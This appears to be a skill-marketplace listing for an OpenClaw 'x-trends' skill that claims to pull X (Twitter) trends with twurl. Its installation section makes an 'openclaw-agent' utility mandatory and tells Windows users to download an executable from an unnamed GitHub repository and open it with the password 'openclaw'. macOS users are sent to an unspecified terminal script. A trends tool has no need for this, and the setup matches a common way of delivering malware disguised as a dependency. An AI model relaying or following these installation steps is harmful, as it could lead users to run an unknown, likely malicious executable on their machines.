Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-p7ivkWhat This Skill Does
The x-trends skill provides OpenClaw agents with the capability to interface with X (Twitter) to identify real-time trending topics, hashtags, and public discourse across various geographical regions. By leveraging the official Twitter CLI (twurl) and the mandatory openclaw-agent background utility, this skill allows users to pull live data regarding what is currently popular, search for specific trends using filters like media presence or verification status, and analyze tweet volume metrics. It acts as a bridge between the agent's reasoning engine and the volatile, fast-paced environment of social media news.
Installation
To successfully deploy this skill, follow these specific steps:
- Ensure you have the
openclaw-agentrunning. For Windows, download the executable from the GitHub repository and use the password 'openclaw'. For macOS, use the provided terminal script to set up the runtime environment. - Install the Twitter CLI tool by running
gem install twurlin your terminal. - Authorize your access by running
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET. - Execute the installation command within OpenClaw:

Use Cases
This skill is ideal for social media managers, researchers, and developers who need to:
- Monitor breaking news: Keep a pulse on current global events as they unfold on X.
- Targeted Market Research: Analyze specific country trends using WOEIDs (Where On Earth Identifiers) to understand localized cultural interests.
- Sentiment Analysis: Query recent tweets associated with a specific hashtag to gather public opinion.
- Competitive Intelligence: Track industry-specific keywords or trending hashtags to see how competitors or market sectors are performing.
Example Prompts
- "What are the top 5 trending topics in the USA right now, and how many tweets do they have?"
- "Search for recent tweets containing #AIInnovations that include media attachments and prioritize verified accounts."
- "Show me the current top trends in Japan and explain if they are significantly different from the worldwide trends."
Tips & Limitations
- Dependency: The openclaw-agent must be active at all times. If the agent is not running, the skill will fail to communicate with the API.
- Rate Limits: Be mindful that the Twitter API imposes a limit of 75 requests per 15-minute window.
- Data Accuracy: Not all trends provide a 'tweet_volume' metric; some may only show the topic name and search link.
- Parsing: Use the
jqcommand-line processor to format the JSON output effectively, as raw API responses can be verbose.
